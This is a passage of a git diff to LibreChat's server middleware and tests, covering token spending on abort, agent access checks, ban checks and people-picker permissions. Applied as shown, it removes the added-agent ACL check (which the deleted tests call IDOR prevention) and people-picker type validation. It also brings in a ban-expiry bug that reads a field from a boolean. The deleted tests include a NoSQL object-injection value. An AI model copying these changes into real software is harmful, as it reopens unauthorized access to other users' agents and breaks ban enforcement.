+ await spendCollectedUsage({
+ userId: 'user-123',
+ conversationId: 'convo-123',
+ collectedUsage,
+ fallbackModel: 'claude-3',
+ });
+
+ expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
+ expect(mockSpendTokens).not.toHaveBeenCalled();
+ expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
+ expect.objectContaining({ model: 'claude-3' }),
+ {
+ promptTokens: {
+ input: 100,
+ write: 25,
+ read: 15,
+ },
+ completionTokens: 50,
+ },
+ );
+ });
+
+ it('should handle mixed cache and non-cache entries', async () => {
+ const collectedUsage = [
+ { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
+ {
+ input_tokens: 150,
+ output_tokens: 30,
+ model: 'claude-3',
+ cache_creation_input_tokens: 20,
+ cache_read_input_tokens: 10,
+ },
+ { input_tokens: 200, output_tokens: 20, model: 'gemini-pro' },
+ ];
+
+ await spendCollectedUsage({
+ userId: 'user-123',
+ conversationId: 'convo-123',
+ collectedUsage,
+ fallbackModel: 'gpt-4',
+ });
+
+ expect(mockSpendTokens).toHaveBeenCalledTimes(2);
+ expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
+ });
+
it('should handle real-world parallel agent abort scenario', async () => {
+ // Simulates: Primary agent (gemini) + addedConvo agent (gpt-5) aborted mid-stream
const collectedUsage = [
{ input_tokens: 31596, output_tokens: 151, model: 'gemini-3-flash-preview' },
{ input_tokens: 28000, output_tokens: 120, model: 'gpt-5.2' },
@@ -182,24 +356,27 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gemini-3-flash-preview',
});
- expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
- expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
- expect.any(Object),
- expect.objectContaining({
- user: 'user-123',
- conversationId: 'convo-123',
- context: 'abort',
- model: 'gemini-3-flash-preview',
- }),
+ expect(mockSpendTokens).toHaveBeenCalledTimes(2);
+
+ // Primary model
+ expect(mockSpendTokens).toHaveBeenNthCalledWith(
+ 1,
+ expect.objectContaining({ model: 'gemini-3-flash-preview' }),
+ { promptTokens: 31596, completionTokens: 151 },
+ );
+
+ // Parallel model (addedConvo)
+ expect(mockSpendTokens).toHaveBeenNthCalledWith(
+ 2,
+ expect.objectContaining({ model: 'gpt-5.2' }),
+ { promptTokens: 28000, completionTokens: 120 },
);
});
- /**
- * Race condition prevention: after abort middleware spends tokens,
- * the collectedUsage array is cleared so AgentClient.recordCollectedUsage()
- * (which shares the same array reference) sees an empty array and returns early.
- */
it('should clear collectedUsage array after spending to prevent double-spending', async () => {
+ // This tests the race condition fix: after abort middleware spends tokens,
+ // the collectedUsage array is cleared so AgentClient.recordCollectedUsage()
+ // (which shares the same array reference) sees an empty array and returns early.
const collectedUsage = [
{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
{ input_tokens: 80, output_tokens: 40, model: 'claude-3' },
@@ -214,16 +391,19 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gpt-4',
});
- expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ expect(mockSpendTokens).toHaveBeenCalledTimes(2);
+
+ // The array should be cleared after spending
expect(collectedUsage.length).toBe(0);
});
- it('should await recordCollectedUsage before clearing array', async () => {
- let resolved = false;
- mockRecordCollectedUsage.mockImplementation(async () => {
+ it('should await all token spending operations before clearing array', async () => {
+ // Ensure we don't clear the array before spending completes
+ let spendCallCount = 0;
+ mockSpendTokens.mockImplementation(async () => {
+ spendCallCount++;
+ // Simulate async delay
await new Promise((resolve) => setTimeout(resolve, 10));
- resolved = true;
- return { input_tokens: 100, output_tokens: 50 };
});
const collectedUsage = [
@@ -238,7 +418,10 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gpt-4',
});
- expect(resolved).toBe(true);
+ // Both spend calls should have completed
+ expect(spendCallCount).toBe(2);
+
+ // Array should be cleared after awaiting
expect(collectedUsage.length).toBe(0);
});
});
diff --git a/api/server/middleware/accessResources/canAccessAgentFromBody.js b/api/server/middleware/accessResources/canAccessAgentFromBody.js
index 572a86f5e5..f8112af14d 100644
--- a/api/server/middleware/accessResources/canAccessAgentFromBody.js
+++ b/api/server/middleware/accessResources/canAccessAgentFromBody.js
@@ -1,144 +1,42 @@
const { logger } = require('@librechat/data-schemas');
const {
Constants,
- Permissions,
ResourceType,
- SystemRoles,
- PermissionTypes,
isAgentsEndpoint,
isEphemeralAgentId,
} = require('librechat-data-provider');
-const { checkPermission } = require('~/server/services/PermissionService');
const { canAccessResource } = require('./canAccessResource');
-const { getRoleByName } = require('~/models/Role');
const { getAgent } = require('~/models/Agent');
/**
- * Resolves custom agent ID (e.g., "agent_abc123") to a MongoDB document.
+ * Agent ID resolver function for agent_id from request body
+ * Resolves custom agent ID (e.g., "agent_abc123") to MongoDB ObjectId
+ * This is used specifically for chat routes where agent_id comes from request body
+ *
* @param {string} agentCustomId - Custom agent ID from request body
- * @returns {Promise} Agent document with _id field, or null if ephemeral/not found
+ * @returns {Promise} Agent document with _id field, or null if not found
*/
const resolveAgentIdFromBody = async (agentCustomId) => {
+ // Handle ephemeral agents - they don't need permission checks
+ // Real agent IDs always start with "agent_", so anything else is ephemeral
if (isEphemeralAgentId(agentCustomId)) {
- return null;
+ return null; // No permission check needed for ephemeral agents
}
- return getAgent({ id: agentCustomId });
+
+ return await getAgent({ id: agentCustomId });
};
/**
- * Creates a `canAccessResource` middleware for the given agent ID
- * and chains to the provided continuation on success.
- *
- * @param {string} agentId - The agent's custom string ID (e.g., "agent_abc123")
- * @param {number} requiredPermission - Permission bit(s) required
- * @param {import('express').Request} req
- * @param {import('express').Response} res - Written on deny; continuation called on allow
- * @param {Function} continuation - Called when the permission check passes
- * @returns {Promise}
- */
-const checkAgentResourceAccess = (agentId, requiredPermission, req, res, continuation) => {
- const middleware = canAccessResource({
- resourceType: ResourceType.AGENT,
- requiredPermission,
- resourceIdParam: 'agent_id',
- idResolver: () => resolveAgentIdFromBody(agentId),
- });
-
- const tempReq = {
- ...req,
- params: { ...req.params, agent_id: agentId },
- };
-
- return middleware(tempReq, res, continuation);
-};
-
-/**
- * Middleware factory that validates MULTI_CONVO:USE role permission and, when
- * addedConvo.agent_id is a non-ephemeral agent, the same resource-level permission
- * required for the primary agent (`requiredPermission`). Caches the resolved agent
- * document on `req.resolvedAddedAgent` to avoid a duplicate DB fetch in `loadAddedAgent`.
- *
- * @param {number} requiredPermission - Permission bit(s) to check on the added agent resource
- * @returns {(req: import('express').Request, res: import('express').Response, next: Function) => Promise}
- */
-const checkAddedConvoAccess = (requiredPermission) => async (req, res, next) => {
- const addedConvo = req.body?.addedConvo;
- if (!addedConvo || typeof addedConvo !== 'object' || Array.isArray(addedConvo)) {
- return next();
- }
-
- try {
- if (!req.user?.role) {
- return res.status(403).json({
- error: 'Forbidden',
- message: 'Insufficient permissions for multi-conversation',
- });
- }
-
- if (req.user.role !== SystemRoles.ADMIN) {
- const role = await getRoleByName(req.user.role);
- const hasMultiConvo = role?.permissions?.[PermissionTypes.MULTI_CONVO]?.[Permissions.USE];
- if (!hasMultiConvo) {
- return res.status(403).json({
- error: 'Forbidden',
- message: 'Multi-conversation feature is not enabled',
- });
- }
- }
-
- const addedAgentId = addedConvo.agent_id;
- if (!addedAgentId || typeof addedAgentId !== 'string' || isEphemeralAgentId(addedAgentId)) {
- return next();
- }
-
- if (req.user.role === SystemRoles.ADMIN) {
- return next();
- }
-
- const agent = await resolveAgentIdFromBody(addedAgentId);
- if (!agent) {
- return res.status(404).json({
- error: 'Not Found',
- message: `${ResourceType.AGENT} not found`,
- });
- }
-
- const hasPermission = await checkPermission({
- userId: req.user.id,
- role: req.user.role,
- resourceType: ResourceType.AGENT,
- resourceId: agent._id,
- requiredPermission,
- });
-
- if (!hasPermission) {
- return res.status(403).json({
- error: 'Forbidden',
- message: `Insufficient permissions to access this ${ResourceType.AGENT}`,
- });
- }
-
- req.resolvedAddedAgent = agent;
- return next();
- } catch (error) {
- logger.error('Failed to validate addedConvo access permissions', error);
- return res.status(500).json({
- error: 'Internal Server Error',
- message: 'Failed to validate addedConvo access permissions',
- });
- }
-};
-
-/**
- * Middleware factory that checks agent access permissions from request body.
- * Validates both the primary agent_id and, when present, addedConvo.agent_id
- * (which also requires MULTI_CONVO:USE role permission).
+ * Middleware factory that creates middleware to check agent access permissions from request body.
+ * This middleware is specifically designed for chat routes where the agent_id comes from req.body
+ * instead of route parameters.
*
* @param {Object} options - Configuration options
* @param {number} options.requiredPermission - The permission bit required (1=view, 2=edit, 4=delete, 8=share)
* @returns {Function} Express middleware function
*
* @example
+ * // Basic usage for agent chat (requires VIEW permission)
* router.post('/chat',
* canAccessAgentFromBody({ requiredPermission: PermissionBits.VIEW }),
* buildEndpointOption,
@@ -148,12 +46,11 @@ const checkAddedConvoAccess = (requiredPermission) => async (req, res, next) =>
const canAccessAgentFromBody = (options) => {
const { requiredPermission } = options;
+ // Validate required options
if (!requiredPermission || typeof requiredPermission !== 'number') {
throw new Error('canAccessAgentFromBody: requiredPermission is required and must be a number');
}
- const addedConvoMiddleware = checkAddedConvoAccess(requiredPermission);
-
return async (req, res, next) => {
try {
const { endpoint, agent_id } = req.body;
@@ -170,13 +67,28 @@ const canAccessAgentFromBody = (options) => {
});
}
- const afterPrimaryCheck = () => addedConvoMiddleware(req, res, next);
-
+ // Skip permission checks for ephemeral agents
+ // Real agent IDs always start with "agent_", so anything else is ephemeral
if (isEphemeralAgentId(agentId)) {
- return afterPrimaryCheck();
+ return next();
}
- return checkAgentResourceAccess(agentId, requiredPermission, req, res, afterPrimaryCheck);
+ const agentAccessMiddleware = canAccessResource({
+ resourceType: ResourceType.AGENT,
+ requiredPermission,
+ resourceIdParam: 'agent_id', // This will be ignored since we use custom resolver
+ idResolver: () => resolveAgentIdFromBody(agentId),
+ });
+
+ const tempReq = {
+ ...req,
+ params: {
+ ...req.params,
+ agent_id: agentId,
+ },
+ };
+
+ return agentAccessMiddleware(tempReq, res, next);
} catch (error) {
logger.error('Failed to validate agent access permissions', error);
return res.status(500).json({
diff --git a/api/server/middleware/accessResources/canAccessAgentFromBody.spec.js b/api/server/middleware/accessResources/canAccessAgentFromBody.spec.js
deleted file mode 100644
index 47f1130d13..0000000000
--- a/api/server/middleware/accessResources/canAccessAgentFromBody.spec.js
+++ /dev/null
@@ -1,509 +0,0 @@
-const mongoose = require('mongoose');
-const {
- ResourceType,
- SystemRoles,
- PrincipalType,
- PrincipalModel,
-} = require('librechat-data-provider');
-const { MongoMemoryServer } = require('mongodb-memory-server');
-const { canAccessAgentFromBody } = require('./canAccessAgentFromBody');
-const { User, Role, AclEntry } = require('~/db/models');
-const { createAgent } = require('~/models/Agent');
-
-describe('canAccessAgentFromBody middleware', () => {
- let mongoServer;
- let req, res, next;
- let testUser, otherUser;
-
- beforeAll(async () => {
- mongoServer = await MongoMemoryServer.create();
- await mongoose.connect(mongoServer.getUri());
- });
-
- afterAll(async () => {
- await mongoose.disconnect();
- await mongoServer.stop();
- });
-
- beforeEach(async () => {
- await mongoose.connection.dropDatabase();
-
- await Role.create({
- name: 'test-role',
- permissions: {
- AGENTS: { USE: true, CREATE: true, SHARE: true },
- MULTI_CONVO: { USE: true },
- },
- });
-
- await Role.create({
- name: 'no-multi-convo',
- permissions: {
- AGENTS: { USE: true, CREATE: true, SHARE: true },
- MULTI_CONVO: { USE: false },
- },
- });
-
- await Role.create({
- name: SystemRoles.ADMIN,
- permissions: {
- AGENTS: { USE: true, CREATE: true, SHARE: true },
- MULTI_CONVO: { USE: true },
- },
- });
-
- testUser = await User.create({
- email: 'test@example.com',
- name: 'Test User',
- username: 'testuser',
- role: 'test-role',
- });
-
- otherUser = await User.create({
- email: 'other@example.com',
- name: 'Other User',
- username: 'otheruser',
- role: 'test-role',
- });
-
- req = {
- user: { id: testUser._id, role: testUser.role },
- params: {},
- body: {
- endpoint: 'agents',
- agent_id: 'ephemeral_primary',
- },
- };
- res = {
- status: jest.fn().mockReturnThis(),
- json: jest.fn(),
- };
- next = jest.fn();
-
- jest.clearAllMocks();
- });
-
- describe('middleware factory', () => {
- test('throws if requiredPermission is missing', () => {
- expect(() => canAccessAgentFromBody({})).toThrow(
- 'canAccessAgentFromBody: requiredPermission is required and must be a number',
- );
- });
-
- test('throws if requiredPermission is not a number', () => {
- expect(() => canAccessAgentFromBody({ requiredPermission: '1' })).toThrow(
- 'canAccessAgentFromBody: requiredPermission is required and must be a number',
- );
- });
-
- test('returns a middleware function', () => {
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- expect(typeof middleware).toBe('function');
- expect(middleware.length).toBe(3);
- });
- });
-
- describe('primary agent checks', () => {
- test('returns 400 when agent_id is missing on agents endpoint', async () => {
- req.body.agent_id = undefined;
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(res.status).toHaveBeenCalledWith(400);
- });
-
- test('proceeds for ephemeral primary agent without addedConvo', async () => {
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).toHaveBeenCalled();
- expect(res.status).not.toHaveBeenCalled();
- });
-
- test('proceeds for non-agents endpoint (ephemeral fallback)', async () => {
- req.body.endpoint = 'openAI';
- req.body.agent_id = undefined;
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).toHaveBeenCalled();
- });
- });
-
- describe('addedConvo — absent or invalid shape', () => {
- test('calls next when addedConvo is absent', async () => {
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).toHaveBeenCalled();
- });
-
- test('calls next when addedConvo is a string', async () => {
- req.body.addedConvo = 'not-an-object';
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).toHaveBeenCalled();
- });
-
- test('calls next when addedConvo is an array', async () => {
- req.body.addedConvo = [{ agent_id: 'agent_something' }];
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).toHaveBeenCalled();
- });
- });
-
- describe('addedConvo — MULTI_CONVO permission gate', () => {
- test('returns 403 when user lacks MULTI_CONVO:USE', async () => {
- req.user.role = 'no-multi-convo';
- req.body.addedConvo = { agent_id: 'agent_x', endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(res.status).toHaveBeenCalledWith(403);
- expect(res.json).toHaveBeenCalledWith(
- expect.objectContaining({ message: 'Multi-conversation feature is not enabled' }),
- );
- });
-
- test('returns 403 when user.role is missing', async () => {
- req.user = { id: testUser._id };
- req.body.addedConvo = { agent_id: 'agent_x', endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(res.status).toHaveBeenCalledWith(403);
- });
-
- test('ADMIN bypasses MULTI_CONVO check', async () => {
- req.user.role = SystemRoles.ADMIN;
- req.body.addedConvo = { agent_id: 'ephemeral_x', endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).toHaveBeenCalled();
- expect(res.status).not.toHaveBeenCalled();
- });
- });
-
- describe('addedConvo — agent_id shape validation', () => {
- test('calls next when agent_id is ephemeral', async () => {
- req.body.addedConvo = { agent_id: 'ephemeral_xyz', endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).toHaveBeenCalled();
- });
-
- test('calls next when agent_id is absent', async () => {
- req.body.addedConvo = { endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).toHaveBeenCalled();
- });
-
- test('calls next when agent_id is not a string (object injection)', async () => {
- req.body.addedConvo = { agent_id: { $gt: '' }, endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).toHaveBeenCalled();
- });
- });
-
- describe('addedConvo — agent resource ACL (IDOR prevention)', () => {
- let addedAgent;
-
- beforeEach(async () => {
- addedAgent = await createAgent({
- id: `agent_added_${Date.now()}`,
- name: 'Private Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: otherUser._id,
- });
-
- await AclEntry.create({
- principalType: PrincipalType.USER,
- principalId: otherUser._id,
- principalModel: PrincipalModel.USER,
- resourceType: ResourceType.AGENT,
- resourceId: addedAgent._id,
- permBits: 15,
- grantedBy: otherUser._id,
- });
- });
-
- test('returns 403 when requester has no ACL for the added agent', async () => {
- req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(res.status).toHaveBeenCalledWith(403);
- expect(res.json).toHaveBeenCalledWith(
- expect.objectContaining({
- message: 'Insufficient permissions to access this agent',
- }),
- );
- });
-
- test('returns 404 when added agent does not exist', async () => {
- req.body.addedConvo = {
- agent_id: 'agent_nonexistent_999',
- endpoint: 'agents',
- model: 'gpt-4',
- };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(res.status).toHaveBeenCalledWith(404);
- });
-
- test('proceeds when requester has ACL for the added agent', async () => {
- await AclEntry.create({
- principalType: PrincipalType.USER,
- principalId: testUser._id,
- principalModel: PrincipalModel.USER,
- resourceType: ResourceType.AGENT,
- resourceId: addedAgent._id,
- permBits: 1,
- grantedBy: otherUser._id,
- });
-
- req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).toHaveBeenCalled();
- expect(res.status).not.toHaveBeenCalled();
- });
-
- test('denies when ACL permission bits are insufficient', async () => {
- await AclEntry.create({
- principalType: PrincipalType.USER,
- principalId: testUser._id,
- principalModel: PrincipalModel.USER,
- resourceType: ResourceType.AGENT,
- resourceId: addedAgent._id,
- permBits: 1,
- grantedBy: otherUser._id,
- });
-
- req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 2 });
- await middleware(req, res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(res.status).toHaveBeenCalledWith(403);
- });
-
- test('caches resolved agent on req.resolvedAddedAgent', async () => {
- await AclEntry.create({
- principalType: PrincipalType.USER,
- principalId: testUser._id,
- principalModel: PrincipalModel.USER,
- resourceType: ResourceType.AGENT,
- resourceId: addedAgent._id,
- permBits: 1,
- grantedBy: otherUser._id,
- });
-
- req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).toHaveBeenCalled();
- expect(req.resolvedAddedAgent).toBeDefined();
- expect(req.resolvedAddedAgent._id.toString()).toBe(addedAgent._id.toString());
- });
-
- test('ADMIN bypasses agent resource ACL for addedConvo', async () => {
- req.user.role = SystemRoles.ADMIN;
- req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).toHaveBeenCalled();
- expect(res.status).not.toHaveBeenCalled();
- expect(req.resolvedAddedAgent).toBeUndefined();
- });
- });
-
- describe('end-to-end: primary real agent + addedConvo real agent', () => {
- let primaryAgent, addedAgent;
-
- beforeEach(async () => {
- primaryAgent = await createAgent({
- id: `agent_primary_${Date.now()}`,
- name: 'Primary Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: testUser._id,
- });
-
- await AclEntry.create({
- principalType: PrincipalType.USER,
- principalId: testUser._id,
- principalModel: PrincipalModel.USER,
- resourceType: ResourceType.AGENT,
- resourceId: primaryAgent._id,
- permBits: 15,
- grantedBy: testUser._id,
- });
-
- addedAgent = await createAgent({
- id: `agent_added_${Date.now()}`,
- name: 'Added Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: otherUser._id,
- });
-
- await AclEntry.create({
- principalType: PrincipalType.USER,
- principalId: otherUser._id,
- principalModel: PrincipalModel.USER,
- resourceType: ResourceType.AGENT,
- resourceId: addedAgent._id,
- permBits: 15,
- grantedBy: otherUser._id,
- });
-
- req.body.agent_id = primaryAgent.id;
- });
-
- test('both checks pass when user has ACL for both agents', async () => {
- await AclEntry.create({
- principalType: PrincipalType.USER,
- principalId: testUser._id,
- principalModel: PrincipalModel.USER,
- resourceType: ResourceType.AGENT,
- resourceId: addedAgent._id,
- permBits: 1,
- grantedBy: otherUser._id,
- });
-
- req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).toHaveBeenCalled();
- expect(res.status).not.toHaveBeenCalled();
- expect(req.resolvedAddedAgent).toBeDefined();
- });
-
- test('primary passes but addedConvo denied → 403', async () => {
- req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(res.status).toHaveBeenCalledWith(403);
- });
-
- test('primary denied → 403 without reaching addedConvo check', async () => {
- const foreignAgent = await createAgent({
- id: `agent_foreign_${Date.now()}`,
- name: 'Foreign Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: otherUser._id,
- });
-
- await AclEntry.create({
- principalType: PrincipalType.USER,
- principalId: otherUser._id,
- principalModel: PrincipalModel.USER,
- resourceType: ResourceType.AGENT,
- resourceId: foreignAgent._id,
- permBits: 15,
- grantedBy: otherUser._id,
- });
-
- req.body.agent_id = foreignAgent.id;
- req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(res.status).toHaveBeenCalledWith(403);
- });
- });
-
- describe('ephemeral primary + real addedConvo agent', () => {
- let addedAgent;
-
- beforeEach(async () => {
- addedAgent = await createAgent({
- id: `agent_added_${Date.now()}`,
- name: 'Added Agent',
- provider: 'openai',
- model: 'gpt-4',
- author: otherUser._id,
- });
-
- await AclEntry.create({
- principalType: PrincipalType.USER,
- principalId: otherUser._id,
- principalModel: PrincipalModel.USER,
- resourceType: ResourceType.AGENT,
- resourceId: addedAgent._id,
- permBits: 15,
- grantedBy: otherUser._id,
- });
- });
-
- test('runs full addedConvo ACL check even when primary is ephemeral', async () => {
- req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).not.toHaveBeenCalled();
- expect(res.status).toHaveBeenCalledWith(403);
- });
-
- test('proceeds when user has ACL for added agent (ephemeral primary)', async () => {
- await AclEntry.create({
- principalType: PrincipalType.USER,
- principalId: testUser._id,
- principalModel: PrincipalModel.USER,
- resourceType: ResourceType.AGENT,
- resourceId: addedAgent._id,
- permBits: 1,
- grantedBy: otherUser._id,
- });
-
- req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
-
- const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
- await middleware(req, res, next);
-
- expect(next).toHaveBeenCalled();
- expect(res.status).not.toHaveBeenCalled();
- });
- });
-});
diff --git a/api/server/middleware/checkBan.js b/api/server/middleware/checkBan.js
index 5d1b60297f..79804a84e1 100644
--- a/api/server/middleware/checkBan.js
+++ b/api/server/middleware/checkBan.js
@@ -1,23 +1,16 @@
const { Keyv } = require('keyv');
const uap = require('ua-parser-js');
const { logger } = require('@librechat/data-schemas');
+const { isEnabled, keyvMongo } = require('@librechat/api');
const { ViolationTypes } = require('librechat-data-provider');
-const { isEnabled, keyvMongo, removePorts } = require('@librechat/api');
-const { getLogStores } = require('~/cache');
+const { removePorts } = require('~/server/utils');
const denyRequest = require('./denyRequest');
+const { getLogStores } = require('~/cache');
const { findUser } = require('~/models');
const banCache = new Keyv({ store: keyvMongo, namespace: ViolationTypes.BAN, ttl: 0 });
const message = 'Your account has been temporarily banned due to violations of our service.';
-/** @returns {string} Cache key for ban lookups, prefixed for Redis or raw for MongoDB */
-const getBanCacheKey = (prefix, value, useRedis) => {
- if (!value) {
- return '';
- }
- return useRedis ? `ban_cache:${prefix}:${value}` : value;
-};
-
/**
* Respond to the request if the user is banned.
*
@@ -71,16 +64,25 @@ const checkBan = async (req, res, next = () => {}) => {
return next();
}
- const useRedis = isEnabled(process.env.USE_REDIS);
- const ipKey = getBanCacheKey('ip', req.ip, useRedis);
- const userKey = getBanCacheKey('user', userId, useRedis);
+ let cachedIPBan;
+ let cachedUserBan;
- const [cachedIPBan, cachedUserBan] = await Promise.all([
- ipKey ? banCache.get(ipKey) : undefined,
- userKey ? banCache.get(userKey) : undefined,
- ]);
+ let ipKey = '';
+ let userKey = '';
- if (cachedIPBan || cachedUserBan) {
+ if (req.ip) {
+ ipKey = isEnabled(process.env.USE_REDIS) ? `ban_cache:ip:${req.ip}` : req.ip;
+ cachedIPBan = await banCache.get(ipKey);
+ }
+
+ if (userId) {
+ userKey = isEnabled(process.env.USE_REDIS) ? `ban_cache:user:${userId}` : userId;
+ cachedUserBan = await banCache.get(userKey);
+ }
+
+ const cachedBan = cachedIPBan || cachedUserBan;
+
+ if (cachedBan) {
req.banned = true;
return await banResponse(req, res);
}
@@ -92,47 +94,41 @@ const checkBan = async (req, res, next = () => {}) => {
return next();
}
- const [ipBan, userBan] = await Promise.all([
- req.ip ? banLogs.get(req.ip) : undefined,
- userId ? banLogs.get(userId) : undefined,
- ]);
+ let ipBan;
+ let userBan;
- const banData = ipBan || userBan;
+ if (req.ip) {
+ ipBan = await banLogs.get(req.ip);
+ }
- if (!banData) {
+ if (userId) {
+ userBan = await banLogs.get(userId);
+ }
+
+ const isBanned = !!(ipBan || userBan);
+
+ if (!isBanned) {
return next();
}
- const expiresAt = Number(banData.expiresAt);
- if (!banData.expiresAt || isNaN(expiresAt)) {
- req.banned = true;
- return await banResponse(req, res);
+ const timeLeft = Number(isBanned.expiresAt) - Date.now();
+
+ if (timeLeft <= 0 && ipKey) {
+ await banLogs.delete(ipKey);
}
- const timeLeft = expiresAt - Date.now();
-
- if (timeLeft <= 0) {
- const cleanups = [];
- if (ipBan) {
- cleanups.push(banLogs.delete(req.ip));
- }
- if (userBan) {
- cleanups.push(banLogs.delete(userId));
- }
- await Promise.all(cleanups);
+ if (timeLeft <= 0 && userKey) {
+ await banLogs.delete(userKey);
return next();
}
- const cacheWrites = [];
if (ipKey) {
- cacheWrites.push(banCache.set(ipKey, banData, timeLeft));
+ banCache.set(ipKey, isBanned, timeLeft);
}
+
if (userKey) {
- cacheWrites.push(banCache.set(userKey, banData, timeLeft));
+ banCache.set(userKey, isBanned, timeLeft);
}
- await Promise.all(cacheWrites).catch((err) =>
- logger.warn('[checkBan] Failed to write ban cache:', err),
- );
req.banned = true;
return await banResponse(req, res);
diff --git a/api/server/middleware/checkPeoplePickerAccess.js b/api/server/middleware/checkPeoplePickerAccess.js
index af2154dbba..0e604272db 100644
--- a/api/server/middleware/checkPeoplePickerAccess.js
+++ b/api/server/middleware/checkPeoplePickerAccess.js
@@ -2,20 +2,13 @@ const { logger } = require('@librechat/data-schemas');
const { PrincipalType, PermissionTypes, Permissions } = require('librechat-data-provider');
const { getRoleByName } = require('~/models/Role');
-const VALID_PRINCIPAL_TYPES = new Set([
- PrincipalType.USER,
- PrincipalType.GROUP,
- PrincipalType.ROLE,
-]);
-
/**
- * Middleware to check if user has permission to access people picker functionality.
- * Validates requested principal types via `type` (singular) and `types` (comma-separated or array)
- * query parameters against the caller's role permissions:
- * - user: requires VIEW_USERS permission
- * - group: requires VIEW_GROUPS permission
- * - role: requires VIEW_ROLES permission
- * - no type filter (mixed search): requires at least one of the above
+ * Middleware to check if user has permission to access people picker functionality
+ * Checks specific permission based on the 'type' query parameter:
+ * - type=user: requires VIEW_USERS permission
+ * - type=group: requires VIEW_GROUPS permission
+ * - type=role: requires VIEW_ROLES permission
+ * - no type (mixed search): requires either VIEW_USERS OR VIEW_GROUPS OR VIEW_ROLES
*/
const checkPeoplePickerAccess = async (req, res, next) => {
try {
@@ -35,7 +28,7 @@ const checkPeoplePickerAccess = async (req, res, next) => {
});
}
- const { type, types } = req.query;
+ const { type } = req.query;
const peoplePickerPerms = role.permissions[PermissionTypes.PEOPLE_PICKER] || {};
const canViewUsers = peoplePickerPerms[Permissions.VIEW_USERS] === true;
const canViewGroups = peoplePickerPerms[Permissions.VIEW_GROUPS] === true;
@@ -56,32 +49,15 @@ const checkPeoplePickerAccess = async (req, res, next) => {
},
};
- const requestedTypes = new Set();
-
- if (type && VALID_PRINCIPAL_TYPES.has(type)) {
- requestedTypes.add(type);
+ const check = permissionChecks[type];
+ if (check && !check.hasPermission) {
+ return res.status(403).json({
+ error: 'Forbidden',
+ message: check.message,
+ });
}
- if (types) {
